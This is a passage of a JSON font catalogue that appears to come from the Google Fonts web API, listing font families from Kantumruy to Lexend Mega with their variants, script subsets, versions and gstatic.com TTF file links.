        "regular",
        "700"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v7",
      "lastModified": "2019-07-26",
      "files": {
        "300": "http://fonts.gstatic.com/s/kantumruy/v7/syk0-yJ0m7wyVb-f4FOPUtDlpn-UJ1H6Uw.ttf",
        "regular": "http://fonts.gstatic.com/s/kantumruy/v7/sykx-yJ0m7wyVb-f4FO3_vjBrlSILg.ttf",
        "700": "http://fonts.gstatic.com/s/kantumruy/v7/syk0-yJ0m7wyVb-f4FOPQtflpn-UJ1H6Uw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Karla",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-12-08",
      "files": {
        "regular": "http://fonts.gstatic.com/s/karla/v13/qkBbXvYC6trAT4RSJN225aZO.ttf",
        "italic": "http://fonts.gstatic.com/s/karla/v13/qkBVXvYC6trAT7RQLtmU4LZOgAU.ttf",
        "700": "http://fonts.gstatic.com/s/karla/v13/qkBWXvYC6trAT7zuC_m-zrpHmRzC.ttf",
        "700italic": "http://fonts.gstatic.com/s/karla/v13/qkBQXvYC6trAT7RQFmW7xL5lnAzCKNg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Karma",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLjDY8Z_uqzGQC_-.ttf",
        "regular": "http://fonts.gstatic.com/s/karma/v10/va9I4kzAzMZRGIBvS-J3kbDP.ttf",
        "500": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLibYsZ_uqzGQC_-.ttf",
        "600": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLi3ZcZ_uqzGQC_-.ttf",
        "700": "http://fonts.gstatic.com/s/karma/v10/va9F4kzAzMZRGLjTZMZ_uqzGQC_-.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Katibeh",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/katibeh/v7/ZGjXol5MQJog4bxDaC1RVDNdGDs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kaushan Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kaushanscript/v8/vm8vdRfvXFLG3OLnsO15WYS5DF7_ytN3M48a.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kavivanar",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "tamil",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kavivanar/v5/o-0IIpQgyXYSwhxP7_Jb4j5Ba_2c7A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kavoon",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kavoon/v8/pxiFyp4_scRYhlU4NLr6f1pdEQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kdam Thmor",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kdamthmor/v7/MwQzbhjs3veF6QwJVf0JkGMViblPtXs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Keania One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/keaniaone/v7/zOL54pXJk65E8pXardnuycRuv-hHkOs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kelly Slab",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kellyslab/v10/-W_7XJX0Rz3cxUnJC5t6TkMBf50kbiM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kenia",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kenia/v11/jizURE5PuHQH9qCONUGswfGM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Khand",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bL5cFE3ZwaH__-C.ttf",
        "regular": "http://fonts.gstatic.com/s/khand/v8/TwMA-IINQlQQ0YpVWHU_TBqO.ttf",
        "500": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bKhcVE3ZwaH__-C.ttf",
        "600": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bKNdlE3ZwaH__-C.ttf",
        "700": "http://fonts.gstatic.com/s/khand/v8/TwMN-IINQlQQ0bLpd1E3ZwaH__-C.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Khmer",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/khmer/v12/MjQImit_vPPwpF-BpN2EeYmD.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Khula",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G-ljCvUrC59XwXD.ttf",
        "regular": "http://fonts.gstatic.com/s/khula/v5/OpNCnoEOns3V7FcJpA_chzJ0.ttf",
        "600": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G_RiivUrC59XwXD.ttf",
        "700": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G-1iyvUrC59XwXD.ttf",
        "800": "http://fonts.gstatic.com/s/khula/v5/OpNPnoEOns3V7G-piCvUrC59XwXD.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kirang Haerang",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kiranghaerang/v8/E21-_dn_gvvIjhYON1lpIU4-bcqvWPaJq4no.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kite One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kiteone/v7/70lQu7shLnA_E02vyq1b6HnGO4uA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Knewave",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/knewave/v8/sykz-yx0lLcxQaSItSq9-trEvlQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "KoHo",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPuE1WJ75JoKhHys.ttf",
        "200italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNisssJ_zIqCkDyvqZA.ttf",
        "300": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPoU2WJ75JoKhHys.ttf",
        "300italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNiss1JzzIqCkDyvqZA.ttf",
        "regular": "http://fonts.gstatic.com/s/koho/v3/K2F-fZ5fmddNBikefJbSOos.ttf",
        "italic": "http://fonts.gstatic.com/s/koho/v3/K2FwfZ5fmddNNisUeLTXKou4Bg.ttf",
        "500": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPt03WJ75JoKhHys.ttf",
        "500italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNissjJ3zIqCkDyvqZA.ttf",
        "600": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPvEwWJ75JoKhHys.ttf",
        "600italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNissoJrzIqCkDyvqZA.ttf",
        "700": "http://fonts.gstatic.com/s/koho/v3/K2FxfZ5fmddNPpUxWJ75JoKhHys.ttf",
        "700italic": "http://fonts.gstatic.com/s/koho/v3/K2FzfZ5fmddNNissxJvzIqCkDyvqZA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kodchasan",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeR1Cggeqo3eMeoA.ttf",
        "200italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUlIgOCs_-YOoIgN.ttf",
        "300": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeI1Oggeqo3eMeoA.ttf",
        "300italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUksg-Cs_-YOoIgN.ttf",
        "regular": "http://fonts.gstatic.com/s/kodchasan/v3/1cXxaUPOAJv9sG4I-DJmj3uEicG01A.ttf",
        "italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cX3aUPOAJv9sG4I-DJWjXGAq8Sk1PoH.ttf",
        "500": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJee1Kggeqo3eMeoA.ttf",
        "500italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUl0guCs_-YOoIgN.ttf",
        "600": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeV1Wggeqo3eMeoA.ttf",
        "600italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUlYheCs_-YOoIgN.ttf",
        "700": "http://fonts.gstatic.com/s/kodchasan/v3/1cX0aUPOAJv9sG4I-DJeM1Sggeqo3eMeoA.ttf",
        "700italic": "http://fonts.gstatic.com/s/kodchasan/v3/1cXqaUPOAJv9sG4I-DJWjUk8hOCs_-YOoIgN.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kosugi",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "japanese",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kosugi/v6/pxiFyp4_v8FCjlI4NLr6f1pdEQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kosugi Maru",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "japanese",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kosugimaru/v6/0nksC9PgP_wGh21A2KeqGiTqivr9iBq_.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kotta One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kottaone/v7/S6u_w41LXzPc_jlfNWqPHA3s5dwt7w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Koulen",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/koulen/v13/AMOQz46as3KIBPeWgnA9kuYMUg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kranky",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kranky/v10/hESw6XVgJzlPsFnMpheEZo_H_w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kreon",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v22",
      "lastModified": "2020-02-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvPNimejUfp2dWNg.ttf",
        "regular": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvYtimejUfp2dWNg.ttf",
        "500": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvUNimejUfp2dWNg.ttf",
        "600": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2DnvvN-mejUfp2dWNg.ttf",
        "700": "http://fonts.gstatic.com/s/kreon/v22/t5t9IRIUKY-TFF_LW5lnMR3v2Dnvhd-mejUfp2dWNg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kristi",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kristi/v11/uK_y4ricdeU6zwdRCh0TMv6EXw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Krona One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kronaone/v8/jAnEgHdjHcjgfIb1ZcUCMY-h3cWkWg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Krub",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZo47KLF4R6gWaf8.ttf",
        "200italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQiwLByQ4oTef_6gQ.ttf",
        "300": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZuo4KLF4R6gWaf8.ttf",
        "300italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQipLNyQ4oTef_6gQ.ttf",
        "regular": "http://fonts.gstatic.com/s/krub/v3/sZlLdRyC6CRYXkYQDLlTW6E.ttf",
        "italic": "http://fonts.gstatic.com/s/krub/v3/sZlFdRyC6CRYbkQaCJtWS6EPcA.ttf",
        "500": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZrI5KLF4R6gWaf8.ttf",
        "500italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQi_LJyQ4oTef_6gQ.ttf",
        "600": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZp4-KLF4R6gWaf8.ttf",
        "600italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQi0LVyQ4oTef_6gQ.ttf",
        "700": "http://fonts.gstatic.com/s/krub/v3/sZlEdRyC6CRYZvo_KLF4R6gWaf8.ttf",
        "700italic": "http://fonts.gstatic.com/s/krub/v3/sZlGdRyC6CRYbkQitLRyQ4oTef_6gQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kulim Park",
      "category": "sans-serif",
      "variants": [
        "200",
        "200italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "200": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjJYNwa5aZbUvGjU.ttf",
        "200italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUKa9QYZcqCjVVUA.ttf",
        "300": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjPIOwa5aZbUvGjU.ttf",
        "300italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUTaxQYZcqCjVVUA.ttf",
        "regular": "http://fonts.gstatic.com/s/kulimpark/v1/fdN79secq3hflz1Uu3IwtF4m5aZxebw.ttf",
        "italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdN59secq3hflz1Uu3IwhFws4YR0abw2Aw.ttf",
        "600": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjIYIwa5aZbUvGjU.ttf",
        "600italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUOapQYZcqCjVVUA.ttf",
        "700": "http://fonts.gstatic.com/s/kulimpark/v1/fdN49secq3hflz1Uu3IwjOIJwa5aZbUvGjU.ttf",
        "700italic": "http://fonts.gstatic.com/s/kulimpark/v1/fdNm9secq3hflz1Uu3IwhFwUXatQYZcqCjVVUA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kumar One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "gujarati",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kumarone/v4/bMr1mS-P958wYi6YaGeGNO6WU3oT0g.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kumar One Outline",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "gujarati",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kumaroneoutline/v5/Noao6VH62pyLP0fsrZ-v18wlUEcX9zDwRQu8EGKF.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Kurale",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/kurale/v5/4iCs6KV9e9dXjho6eAT3v02QFg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "La Belle Aurore",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/labelleaurore/v10/RrQIbot8-mNYKnGNDkWlocovHeIIG-eFNVmULg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lacquer",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v2",
      "lastModified": "2020-03-06",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lacquer/v2/EYqzma1QwqpG4_BBB7-AXhttQ5I.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Laila",
      "category": "serif",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLzxogNAh14nVcfe.ttf",
        "regular": "http://fonts.gstatic.com/s/laila/v6/LYjMdG_8nE8jDIRdiidIrEIu.ttf",
        "500": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLypowNAh14nVcfe.ttf",
        "600": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLyFpANAh14nVcfe.ttf",
        "700": "http://fonts.gstatic.com/s/laila/v6/LYjBdG_8nE8jDLzhpQNAh14nVcfe.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lakki Reddy",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lakkireddy/v6/S6u5w49MUSzD9jlCPmvLZQfox9k97-xZ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lalezar",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lalezar/v6/zrfl0HLVx-HwTP82UaDyIiL0RCg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lancelot",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lancelot/v9/J7acnppxBGtQEulG4JY4xJ9CGyAa.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lateef",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "arabic",
        "latin"
      ],
      "version": "v15",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lateef/v15/hESw6XVnNCxEvkbMpheEZo_H_w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lato",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v16",
      "lastModified": "2019-07-23",
      "files": {
        "100": "http://fonts.gstatic.com/s/lato/v16/S6u8w4BMUTPHh30wWyWrFCbw7A.ttf",
        "100italic": "http://fonts.gstatic.com/s/lato/v16/S6u-w4BMUTPHjxsIPy-vNiPg7MU0.ttf",
        "300": "http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh7USew-FGC_p9dw.ttf",
        "300italic": "http://fonts.gstatic.com/s/lato/v16/S6u_w4BMUTPHjxsI9w2PHA3s5dwt7w.ttf",
        "regular": "http://fonts.gstatic.com/s/lato/v16/S6uyw4BMUTPHvxk6XweuBCY.ttf",
        "italic": "http://fonts.gstatic.com/s/lato/v16/S6u8w4BMUTPHjxswWyWrFCbw7A.ttf",
        "700": "http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh6UVew-FGC_p9dw.ttf",
        "700italic": "http://fonts.gstatic.com/s/lato/v16/S6u_w4BMUTPHjxsI5wqPHA3s5dwt7w.ttf",
        "900": "http://fonts.gstatic.com/s/lato/v16/S6u9w4BMUTPHh50Xew-FGC_p9dw.ttf",
        "900italic": "http://fonts.gstatic.com/s/lato/v16/S6u_w4BMUTPHjxsI3wiPHA3s5dwt7w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "League Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-26",
      "files": {
        "regular": "http://fonts.gstatic.com/s/leaguescript/v11/CSR54zpSlumSWj9CGVsoBZdeaNNUuOwkC2s.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Leckerli One",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/leckerlione/v10/V8mCoQH8VCsNttEnxnGQ-1itLZxcBtItFw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ledger",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "cyrillic",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/ledger/v7/j8_q6-HK1L3if_sxm8DwHTBhHw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lekton",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lekton/v10/SZc43FDmLaWmWpBeXxfonUPL6Q.ttf",
        "italic": "http://fonts.gstatic.com/s/lekton/v10/SZc63FDmLaWmWpBuXR3sv0bb6StO.ttf",
        "700": "http://fonts.gstatic.com/s/lekton/v10/SZc73FDmLaWmWpBm4zjMlWjX4DJXgQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lemon",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lemon/v8/HI_EiYEVKqRMq0jBSZXAQ4-d.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lemonada",
      "category": "display",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2020-02-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGJOt2mfWc3Z2pTg.ttf",
        "regular": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGeut2mfWc3Z2pTg.ttf",
        "500": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGSOt2mfWc3Z2pTg.ttf",
        "600": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGpOx2mfWc3Z2pTg.ttf",
        "700": "http://fonts.gstatic.com/s/lemonada/v9/0QI-MXFD9oygTWy_R-FFlwV-bgfR7QJGnex2mfWc3Z2pTg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lexend Deca",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lexenddeca/v1/K2F1fZFYk-dHSE0UPPuwQ6qgLS76ZHOM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lexend Exa",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lexendexa/v1/UMBXrPdOoHOnxExyjdBeWirXArM58BY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lexend Giga",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/lexendgiga/v1/PlI5Fl67Mah5Y8yMHE7lkVxEt8CwfGaD.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Lexend Mega",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
